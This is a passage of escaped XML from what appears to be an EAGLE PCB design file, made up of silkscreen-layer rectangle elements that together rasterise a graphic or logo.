layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6052\" x2=\"-1.0635\" y2=\"1.6096\" layer=\"21\"/>\n<rectangle x1=\"-0.6861\" y1=\"1.6052\" x2=\"-0.1665\" y2=\"1.6096\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6052\" x2=\"0.6017\" y2=\"1.6096\" layer=\"21\"/>\n<rectangle x1=\"0.9791\" y1=\"1.6052\" x2=\"2.4578\" y2=\"1.6096\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6096\" x2=\"-1.0591\" y2=\"1.6141\" layer=\"21\"/>\n<rectangle x1=\"-0.6861\" y1=\"1.6096\" x2=\"-0.1665\" y2=\"1.6141\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6096\" x2=\"0.6017\" y2=\"1.6141\" layer=\"21\"/>\n<rectangle x1=\"0.9747\" y1=\"1.6096\" x2=\"2.4578\" y2=\"1.6141\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6141\" x2=\"-1.0546\" y2=\"1.6185\" layer=\"21\"/>\n<rectangle x1=\"-0.6816\" y1=\"1.6141\" x2=\"-0.1665\" y2=\"1.6185\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6141\" x2=\"0.5972\" y2=\"1.6185\" layer=\"21\"/>\n<rectangle x1=\"0.9702\" y1=\"1.6141\" x2=\"2.4578\" y2=\"1.6185\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6185\" x2=\"-1.0546\" y2=\"1.623\" layer=\"21\"/>\n<rectangle x1=\"-0.6816\" y1=\"1.6185\" x2=\"-0.1665\" y2=\"1.623\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6185\" x2=\"0.5972\" y2=\"1.623\" layer=\"21\"/>\n<rectangle x1=\"0.9702\" y1=\"1.6185\" x2=\"2.4578\" y2=\"1.623\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.623\" x2=\"-1.0502\" y2=\"1.6274\" layer=\"21\"/>\n<rectangle x1=\"-0.6772\" y1=\"1.623\" x2=\"-0.1665\" y2=\"1.6274\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.623\" x2=\"0.5928\" y2=\"1.6274\" layer=\"21\"/>\n<rectangle x1=\"0.9658\" y1=\"1.623\" x2=\"2.4578\" y2=\"1.6274\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6274\" x2=\"-1.0502\" y2=\"1.6319\" layer=\"21\"/>\n<rectangle x1=\"-0.6728\" y1=\"1.6274\" x2=\"-0.1665\" y2=\"1.6319\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6274\" x2=\"0.5883\" y2=\"1.6319\" layer=\"21\"/>\n<rectangle x1=\"0.9658\" y1=\"1.6274\" x2=\"2.4578\" y2=\"1.6319\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6319\" x2=\"-1.0458\" y2=\"1.6363\" layer=\"21\"/>\n<rectangle x1=\"-0.6728\" y1=\"1.6319\" x2=\"-0.1665\" y2=\"1.6363\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6319\" x2=\"0.5883\" y2=\"1.6363\" layer=\"21\"/>\n<rectangle x1=\"0.9613\" y1=\"1.6319\" x2=\"2.4578\" y2=\"1.6363\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6363\" x2=\"-1.0413\" y2=\"1.6407\" layer=\"21\"/>\n<rectangle x1=\"-0.6683\" y1=\"1.6363\" x2=\"-0.1665\" y2=\"1.6407\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6363\" x2=\"0.5839\" y2=\"1.6407\" layer=\"21\"/>\n<rectangle x1=\"0.9569\" y1=\"1.6363\" x2=\"2.4578\" y2=\"1.6407\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6407\" x2=\"-1.0413\" y2=\"1.6452\" layer=\"21\"/>\n<rectangle x1=\"-0.6683\" y1=\"1.6407\" x2=\"-0.1665\" y2=\"1.6452\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6407\" x2=\"0.5839\" y2=\"1.6452\" layer=\"21\"/>\n<rectangle x1=\"0.9569\" y1=\"1.6407\" x2=\"2.4578\" y2=\"1.6452\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6452\" x2=\"-1.0369\" y2=\"1.6496\" layer=\"21\"/>\n<rectangle x1=\"-0.6639\" y1=\"1.6452\" x2=\"-0.1665\" y2=\"1.6496\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6452\" x2=\"0.5795\" y2=\"1.6496\" layer=\"21\"/>\n<rectangle x1=\"0.9525\" y1=\"1.6452\" x2=\"2.4578\" y2=\"1.6496\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6496\" x2=\"-1.0369\" y2=\"1.6541\" layer=\"21\"/>\n<rectangle x1=\"-0.6639\" y1=\"1.6496\" x2=\"-0.1665\" y2=\"1.6541\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6496\" x2=\"0.575\" y2=\"1.6541\" layer=\"21\"/>\n<rectangle x1=\"0.9525\" y1=\"1.6496\" x2=\"2.4578\" y2=\"1.6541\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6541\" x2=\"-1.0324\" y2=\"1.6585\" layer=\"21\"/>\n<rectangle x1=\"-0.6594\" y1=\"1.6541\" x2=\"-0.1665\" y2=\"1.6585\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6541\" x2=\"0.575\" y2=\"1.6585\" layer=\"21\"/>\n<rectangle x1=\"0.948\" y1=\"1.6541\" x2=\"2.4578\" y2=\"1.6585\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6585\" x2=\"-1.0324\" y2=\"1.6629\" layer=\"21\"/>\n<rectangle x1=\"-0.655\" y1=\"1.6585\" x2=\"-0.1665\" y2=\"1.6629\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6585\" x2=\"0.5706\" y2=\"1.6629\" layer=\"21\"/>\n<rectangle x1=\"0.948\" y1=\"1.6585\" x2=\"2.4578\" y2=\"1.6629\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6629\" x2=\"-1.028\" y2=\"1.6674\" layer=\"21\"/>\n<rectangle x1=\"-0.655\" y1=\"1.6629\" x2=\"-0.1665\" y2=\"1.6674\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6629\" x2=\"0.5706\" y2=\"1.6674\" layer=\"21\"/>\n<rectangle x1=\"0.9436\" y1=\"1.6629\" x2=\"2.4578\" y2=\"1.6674\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6674\" x2=\"-1.0236\" y2=\"1.6718\" layer=\"21\"/>\n<rectangle x1=\"-0.6506\" y1=\"1.6674\" x2=\"-0.1665\" y2=\"1.6718\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6674\" x2=\"0.5661\" y2=\"1.6718\" layer=\"21\"/>\n<rectangle x1=\"0.9391\" y1=\"1.6674\" x2=\"2.4578\" y2=\"1.6718\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6718\" x2=\"-1.0236\" y2=\"1.6762\" layer=\"21\"/>\n<rectangle x1=\"-0.6506\" y1=\"1.6718\" x2=\"-0.1665\" y2=\"1.6762\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6718\" x2=\"0.5661\" y2=\"1.6762\" layer=\"21\"/>\n<rectangle x1=\"0.9391\" y1=\"1.6718\" x2=\"2.4578\" y2=\"1.6762\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6762\" x2=\"-1.0191\" y2=\"1.6807\" layer=\"21\"/>\n<rectangle x1=\"-0.6461\" y1=\"1.6762\" x2=\"-0.1665\" y2=\"1.6807\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6762\" x2=\"0.5617\" y2=\"1.6807\" layer=\"21\"/>\n<rectangle x1=\"0.9347\" y1=\"1.6762\" x2=\"2.4578\" y2=\"1.6807\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6807\" x2=\"-1.0191\" y2=\"1.6851\" layer=\"21\"/>\n<rectangle x1=\"-0.6417\" y1=\"1.6807\" x2=\"-0.1665\" y2=\"1.6851\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6807\" x2=\"0.5573\" y2=\"1.6851\" layer=\"21\"/>\n<rectangle x1=\"0.9347\" y1=\"1.6807\" x2=\"2.4578\" y2=\"1.6851\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6851\" x2=\"-1.0147\" y2=\"1.6896\" layer=\"21\"/>\n<rectangle x1=\"-0.6417\" y1=\"1.6851\" x2=\"-0.1665\" y2=\"1.6896\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6851\" x2=\"0.5573\" y2=\"1.6896\" layer=\"21\"/>\n<rectangle x1=\"0.9303\" y1=\"1.6851\" x2=\"2.4578\" y2=\"1.6896\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6896\" x2=\"-1.0147\" y2=\"1.694\" layer=\"21\"/>\n<rectangle x1=\"-0.6372\" y1=\"1.6896\" x2=\"-0.1665\" y2=\"1.694\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6896\" x2=\"0.5528\" y2=\"1.694\" layer=\"21\"/>\n<rectangle x1=\"0.9303\" y1=\"1.6896\" x2=\"2.4578\" y2=\"1.694\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.694\" x2=\"-1.0102\" y2=\"1.6985\" layer=\"21\"/>\n<rectangle x1=\"-0.6372\" y1=\"1.694\" x2=\"-0.1665\" y2=\"1.6985\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.694\" x2=\"0.5528\" y2=\"1.6985\" layer=\"21\"/>\n<rectangle x1=\"0.9258\" y1=\"1.694\" x2=\"2.4578\" y2=\"1.6985\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.6985\" x2=\"-1.0058\" y2=\"1.7029\" layer=\"21\"/>\n<rectangle x1=\"-0.6328\" y1=\"1.6985\" x2=\"-0.1665\" y2=\"1.7029\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.6985\" x2=\"0.5484\" y2=\"1.7029\" layer=\"21\"/>\n<rectangle x1=\"0.9214\" y1=\"1.6985\" x2=\"2.4578\" y2=\"1.7029\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7029\" x2=\"-1.0058\" y2=\"1.7073\" layer=\"21\"/>\n<rectangle x1=\"-0.6328\" y1=\"1.7029\" x2=\"-0.1665\" y2=\"1.7073\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7029\" x2=\"0.5484\" y2=\"1.7073\" layer=\"21\"/>\n<rectangle x1=\"0.9214\" y1=\"1.7029\" x2=\"2.4578\" y2=\"1.7073\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7073\" x2=\"-1.0014\" y2=\"1.7118\" layer=\"21\"/>\n<rectangle x1=\"-0.6284\" y1=\"1.7073\" x2=\"-0.1665\" y2=\"1.7118\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7073\" x2=\"0.5439\" y2=\"1.7118\" layer=\"21\"/>\n<rectangle x1=\"0.9169\" y1=\"1.7073\" x2=\"2.4578\" y2=\"1.7118\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7118\" x2=\"-1.0014\" y2=\"1.7162\" layer=\"21\"/>\n<rectangle x1=\"-0.6239\" y1=\"1.7118\" x2=\"-0.1665\" y2=\"1.7162\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7118\" x2=\"0.5395\" y2=\"1.7162\" layer=\"21\"/>\n<rectangle x1=\"0.9169\" y1=\"1.7118\" x2=\"2.4578\" y2=\"1.7162\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7162\" x2=\"-0.9969\" y2=\"1.7207\" layer=\"21\"/>\n<rectangle x1=\"-0.6239\" y1=\"1.7162\" x2=\"-0.1665\" y2=\"1.7207\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7162\" x2=\"0.5395\" y2=\"1.7207\" layer=\"21\"/>\n<rectangle x1=\"0.9125\" y1=\"1.7162\" x2=\"2.4578\" y2=\"1.7207\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7207\" x2=\"-0.9969\" y2=\"1.7251\" layer=\"21\"/>\n<rectangle x1=\"-0.6195\" y1=\"1.7207\" x2=\"-0.1665\" y2=\"1.7251\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7207\" x2=\"0.535\" y2=\"1.7251\" layer=\"21\"/>\n<rectangle x1=\"0.9125\" y1=\"1.7207\" x2=\"2.4578\" y2=\"1.7251\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7251\" x2=\"-0.9925\" y2=\"1.7295\" layer=\"21\"/>\n<rectangle x1=\"-0.6195\" y1=\"1.7251\" x2=\"-0.1665\" y2=\"1.7295\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7251\" x2=\"0.535\" y2=\"1.7295\" layer=\"21\"/>\n<rectangle x1=\"0.9081\" y1=\"1.7251\" x2=\"2.4578\" y2=\"1.7295\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7295\" x2=\"-0.988\" y2=\"1.734\" layer=\"21\"/>\n<rectangle x1=\"-0.615\" y1=\"1.7295\" x2=\"-0.1665\" y2=\"1.734\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7295\" x2=\"0.5306\" y2=\"1.734\" layer=\"21\"/>\n<rectangle x1=\"0.9036\" y1=\"1.7295\" x2=\"2.4578\" y2=\"1.734\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.734\" x2=\"-0.988\" y2=\"1.7384\" layer=\"21\"/>\n<rectangle x1=\"-0.615\" y1=\"1.734\" x2=\"-0.1665\" y2=\"1.7384\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.734\" x2=\"0.5262\" y2=\"1.7384\" layer=\"21\"/>\n<rectangle x1=\"0.9036\" y1=\"1.734\" x2=\"2.4578\" y2=\"1.7384\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7384\" x2=\"-0.9836\" y2=\"1.7429\" layer=\"21\"/>\n<rectangle x1=\"-0.6106\" y1=\"1.7384\" x2=\"-0.1665\" y2=\"1.7429\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7384\" x2=\"0.5262\" y2=\"1.7429\" layer=\"21\"/>\n<rectangle x1=\"0.8992\" y1=\"1.7384\" x2=\"2.4578\" y2=\"1.7429\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7429\" x2=\"-0.9836\" y2=\"1.7473\" layer=\"21\"/>\n<rectangle x1=\"-0.6062\" y1=\"1.7429\" x2=\"-0.1665\" y2=\"1.7473\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7429\" x2=\"0.5217\" y2=\"1.7473\" layer=\"21\"/>\n<rectangle x1=\"0.8992\" y1=\"1.7429\" x2=\"2.4578\" y2=\"1.7473\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7473\" x2=\"-0.9792\" y2=\"1.7517\" layer=\"21\"/>\n<rectangle x1=\"-0.6062\" y1=\"1.7473\" x2=\"-0.1665\" y2=\"1.7517\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7473\" x2=\"0.5217\" y2=\"1.7517\" layer=\"21\"/>\n<rectangle x1=\"0.8947\" y1=\"1.7473\" x2=\"2.4578\" y2=\"1.7517\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7517\" x2=\"-0.9747\" y2=\"1.7562\" layer=\"21\"/>\n<rectangle x1=\"-0.6017\" y1=\"1.7517\" x2=\"-0.1665\" y2=\"1.7562\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7517\" x2=\"0.5173\" y2=\"1.7562\" layer=\"21\"/>\n<rectangle x1=\"0.8903\" y1=\"1.7517\" x2=\"2.4578\" y2=\"1.7562\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7562\" x2=\"-0.9747\" y2=\"1.7606\" layer=\"21\"/>\n<rectangle x1=\"-0.6017\" y1=\"1.7562\" x2=\"-0.1665\" y2=\"1.7606\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7562\" x2=\"0.5173\" y2=\"1.7606\" layer=\"21\"/>\n<rectangle x1=\"0.8903\" y1=\"1.7562\" x2=\"2.4578\" y2=\"1.7606\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7606\" x2=\"-0.9703\" y2=\"1.7651\" layer=\"21\"/>\n<rectangle x1=\"-0.5973\" y1=\"1.7606\" x2=\"-0.1665\" y2=\"1.7651\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7606\" x2=\"0.5128\" y2=\"1.7651\" layer=\"21\"/>\n<rectangle x1=\"0.8858\" y1=\"1.7606\" x2=\"2.4578\" y2=\"1.7651\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7651\" x2=\"-0.9703\" y2=\"1.7695\" layer=\"21\"/>\n<rectangle x1=\"-0.5973\" y1=\"1.7651\" x2=\"-0.1665\" y2=\"1.7695\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7651\" x2=\"0.5084\" y2=\"1.7695\" layer=\"21\"/>\n<rectangle x1=\"0.8858\" y1=\"1.7651\" x2=\"2.4578\" y2=\"1.7695\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7695\" x2=\"-0.9658\" y2=\"1.7739\" layer=\"21\"/>\n<rectangle x1=\"-0.5928\" y1=\"1.7695\" x2=\"-0.1665\" y2=\"1.7739\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7695\" x2=\"0.5084\" y2=\"1.7739\" layer=\"21\"/>\n<rectangle x1=\"0.8814\" y1=\"1.7695\" x2=\"2.4578\" y2=\"1.7739\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7739\" x2=\"-0.9658\" y2=\"1.7784\" layer=\"21\"/>\n<rectangle x1=\"-0.5884\" y1=\"1.7739\" x2=\"-0.1665\" y2=\"1.7784\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7739\" x2=\"0.504\" y2=\"1.7784\" layer=\"21\"/>\n<rectangle x1=\"0.8814\" y1=\"1.7739\" x2=\"2.4578\" y2=\"1.7784\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7784\" x2=\"-0.9614\" y2=\"1.7828\" layer=\"21\"/>\n<rectangle x1=\"-0.5884\" y1=\"1.7784\" x2=\"-0.1665\" y2=\"1.7828\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7784\" x2=\"0.504\" y2=\"1.7828\" layer=\"21\"/>\n<rectangle x1=\"0.877\" y1=\"1.7784\" x2=\"2.4578\" y2=\"1.7828\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7828\" x2=\"-0.957\" y2=\"1.7873\" layer=\"21\"/>\n<rectangle x1=\"-0.584\" y1=\"1.7828\" x2=\"-0.1665\" y2=\"1.7873\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7828\" x2=\"0.4995\" y2=\"1.7873\" layer=\"21\"/>\n<rectangle x1=\"0.8725\" y1=\"1.7828\" x2=\"2.4578\" y2=\"1.7873\" layer=\"21\"/>\n<rectangle x1=\"-2.5422\" y1=\"1.7873\" x2=\"-0.957\" y2=\"1.7917\" layer=\"21\"/>\n<rectangle x1=\"-0.584\" y1=\"1.7873\" x2=\"-0.1665\" y2=\"1.7917\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7873\" x2=\"0.4995\" y2=\"1.7917\" layer=\"21\"/>\n<rectangle x1=\"0.8725\" y1=\"1.7873\" x2=\"2.4578\" y2=\"1.7917\" layer=\"21\"/>\n<rectangle x1=\"-2.5378\" y1=\"1.7917\" x2=\"-0.9525\" y2=\"1.7962\" layer=\"21\"/>\n<rectangle x1=\"-0.5795\" y1=\"1.7917\" x2=\"-0.1665\" y2=\"1.7962\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7917\" x2=\"0.4951\" y2=\"1.7962\" layer=\"21\"/>\n<rectangle x1=\"0.8681\" y1=\"1.7917\" x2=\"2.4533\" y2=\"1.7962\" layer=\"21\"/>\n<rectangle x1=\"-2.5289\" y1=\"1.7962\" x2=\"-0.9525\" y2=\"1.8006\" layer=\"21\"/>\n<rectangle x1=\"-0.5751\" y1=\"1.7962\" x2=\"-0.1665\" y2=\"1.8006\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.7962\" x2=\"0.4906\" y2=\"1.8006\" layer=\"21\"/>\n<rectangle x1=\"0.8681\" y1=\"1.7962\" x2=\"2.4445\" y2=\"1.8006\" layer=\"21\"/>\n<rectangle x1=\"-2.5245\" y1=\"1.8006\" x2=\"-0.9481\" y2=\"1.805\" layer=\"21\"/>\n<rectangle x1=\"-0.5751\" y1=\"1.8006\" x2=\"-0.1665\" y2=\"1.805\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8006\" x2=\"0.4906\" y2=\"1.805\" layer=\"21\"/>\n<rectangle x1=\"0.8636\" y1=\"1.8006\" x2=\"2.44\" y2=\"1.805\" layer=\"21\"/>\n<rectangle x1=\"-2.5156\" y1=\"1.805\" x2=\"-0.9481\" y2=\"1.8095\" layer=\"21\"/>\n<rectangle x1=\"-0.5706\" y1=\"1.805\" x2=\"-0.1665\" y2=\"1.8095\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.805\" x2=\"0.4862\" y2=\"1.8095\" layer=\"21\"/>\n<rectangle x1=\"0.8636\" y1=\"1.805\" x2=\"2.4311\" y2=\"1.8095\" layer=\"21\"/>\n<rectangle x1=\"-2.5067\" y1=\"1.8095\" x2=\"-0.9436\" y2=\"1.8139\" layer=\"21\"/>\n<rectangle x1=\"-0.5706\" y1=\"1.8095\" x2=\"-0.1665\" y2=\"1.8139\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8095\" x2=\"0.4862\" y2=\"1.8139\" layer=\"21\"/>\n<rectangle x1=\"0.8592\" y1=\"1.8095\" x2=\"2.4223\" y2=\"1.8139\" layer=\"21\"/>\n<rectangle x1=\"-2.4978\" y1=\"1.8139\" x2=\"-0.9392\" y2=\"1.8184\" layer=\"21\"/>\n<rectangle x1=\"-0.5662\" y1=\"1.8139\" x2=\"-0.1665\" y2=\"1.8184\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8139\" x2=\"0.4818\" y2=\"1.8184\" layer=\"21\"/>\n<rectangle x1=\"0.8548\" y1=\"1.8139\" x2=\"2.4134\" y2=\"1.8184\" layer=\"21\"/>\n<rectangle x1=\"-2.4934\" y1=\"1.8184\" x2=\"-0.9392\" y2=\"1.8228\" layer=\"21\"/>\n<rectangle x1=\"-0.5662\" y1=\"1.8184\" x2=\"-0.1665\" y2=\"1.8228\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8184\" x2=\"0.4818\" y2=\"1.8228\" layer=\"21\"/>\n<rectangle x1=\"0.8548\" y1=\"1.8184\" x2=\"2.4089\" y2=\"1.8228\" layer=\"21\"/>\n<rectangle x1=\"-2.4845\" y1=\"1.8228\" x2=\"-0.9348\" y2=\"1.8272\" layer=\"21\"/>\n<rectangle x1=\"-0.5618\" y1=\"1.8228\" x2=\"-0.1665\" y2=\"1.8272\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8228\" x2=\"0.4773\" y2=\"1.8272\" layer=\"21\"/>\n<rectangle x1=\"0.8503\" y1=\"1.8228\" x2=\"2.4001\" y2=\"1.8272\" layer=\"21\"/>\n<rectangle x1=\"-2.4756\" y1=\"1.8272\" x2=\"-0.9348\" y2=\"1.8317\" layer=\"21\"/>\n<rectangle x1=\"-0.5573\" y1=\"1.8272\" x2=\"-0.1665\" y2=\"1.8317\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8272\" x2=\"0.4729\" y2=\"1.8317\" layer=\"21\"/>\n<rectangle x1=\"0.8503\" y1=\"1.8272\" x2=\"2.3912\" y2=\"1.8317\" layer=\"21\"/>\n<rectangle x1=\"-2.4712\" y1=\"1.8317\" x2=\"-0.9303\" y2=\"1.8361\" layer=\"21\"/>\n<rectangle x1=\"-0.5573\" y1=\"1.8317\" x2=\"-0.1665\" y2=\"1.8361\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8317\" x2=\"0.4729\" y2=\"1.8361\" layer=\"21\"/>\n<rectangle x1=\"0.8459\" y1=\"1.8317\" x2=\"2.3867\" y2=\"1.8361\" layer=\"21\"/>\n<rectangle x1=\"-2.4623\" y1=\"1.8361\" x2=\"-0.9303\" y2=\"1.8406\" layer=\"21\"/>\n<rectangle x1=\"-0.5529\" y1=\"1.8361\" x2=\"-0.1665\" y2=\"1.8406\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8361\" x2=\"0.4684\" y2=\"1.8406\" layer=\"21\"/>\n<rectangle x1=\"0.8459\" y1=\"1.8361\" x2=\"2.3778\" y2=\"1.8406\" layer=\"21\"/>\n<rectangle x1=\"-2.4534\" y1=\"1.8406\" x2=\"-0.9259\" y2=\"1.845\" layer=\"21\"/>\n<rectangle x1=\"-0.5529\" y1=\"1.8406\" x2=\"-0.1665\" y2=\"1.845\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8406\" x2=\"0.4684\" y2=\"1.845\" layer=\"21\"/>\n<rectangle x1=\"0.8414\" y1=\"1.8406\" x2=\"2.369\" y2=\"1.845\" layer=\"21\"/>\n<rectangle x1=\"-2.4445\" y1=\"1.845\" x2=\"-0.9214\" y2=\"1.8494\" layer=\"21\"/>\n<rectangle x1=\"-0.5484\" y1=\"1.845\" x2=\"-0.1665\" y2=\"1.8494\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.845\" x2=\"0.464\" y2=\"1.8494\" layer=\"21\"/>\n<rectangle x1=\"0.837\" y1=\"1.845\" x2=\"2.3601\" y2=\"1.8494\" layer=\"21\"/>\n<rectangle x1=\"-2.4401\" y1=\"1.8494\" x2=\"-0.9214\" y2=\"1.8539\" layer=\"21\"/>\n<rectangle x1=\"-0.5484\" y1=\"1.8494\" x2=\"-0.1665\" y2=\"1.8539\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8494\" x2=\"0.4596\" y2=\"1.8539\" layer=\"21\"/>\n<rectangle x1=\"0.837\" y1=\"1.8494\" x2=\"2.3557\" y2=\"1.8539\" layer=\"21\"/>\n<rectangle x1=\"-2.4312\" y1=\"1.8539\" x2=\"-0.917\" y2=\"1.8583\" layer=\"21\"/>\n<rectangle x1=\"-0.544\" y1=\"1.8539\" x2=\"-0.1665\" y2=\"1.8583\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8539\" x2=\"0.4596\" y2=\"1.8583\" layer=\"21\"/>\n<rectangle x1=\"0.8326\" y1=\"1.8539\" x2=\"2.3468\" y2=\"1.8583\" layer=\"21\"/>\n<rectangle x1=\"-2.4223\" y1=\"1.8583\" x2=\"-0.917\" y2=\"1.8628\" layer=\"21\"/>\n<rectangle x1=\"-0.5396\" y1=\"1.8583\" x2=\"-0.1665\" y2=\"1.8628\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8583\" x2=\"0.4551\" y2=\"1.8628\" layer=\"21\"/>\n<rectangle x1=\"0.8326\" y1=\"1.8583\" x2=\"2.3379\" y2=\"1.8628\" layer=\"21\"/>\n<rectangle x1=\"-2.4134\" y1=\"1.8628\" x2=\"-0.9126\" y2=\"1.8672\" layer=\"21\"/>\n<rectangle x1=\"-0.5396\" y1=\"1.8628\" x2=\"-0.1665\" y2=\"1.8672\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8628\" x2=\"0.4551\" y2=\"1.8672\" layer=\"21\"/>\n<rectangle x1=\"0.8281\" y1=\"1.8628\" x2=\"2.329\" y2=\"1.8672\" layer=\"21\"/>\n<rectangle x1=\"-2.409\" y1=\"1.8672\" x2=\"-0.9081\" y2=\"1.8716\" layer=\"21\"/>\n<rectangle x1=\"-0.5351\" y1=\"1.8672\" x2=\"-0.1665\" y2=\"1.8716\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8672\" x2=\"0.4507\" y2=\"1.8716\" layer=\"21\"/>\n<rectangle x1=\"0.8237\" y1=\"1.8672\" x2=\"2.3246\" y2=\"1.8716\" layer=\"21\"/>\n<rectangle x1=\"-2.4001\" y1=\"1.8716\" x2=\"-0.9081\" y2=\"1.8761\" layer=\"21\"/>\n<rectangle x1=\"-0.5351\" y1=\"1.8716\" x2=\"-0.1665\" y2=\"1.8761\" layer=\"21\"/>\n<rectangle x1=\"0.0821\" y1=\"1.8716\" x2=\"0.4507\" y2=\"1.8761\" 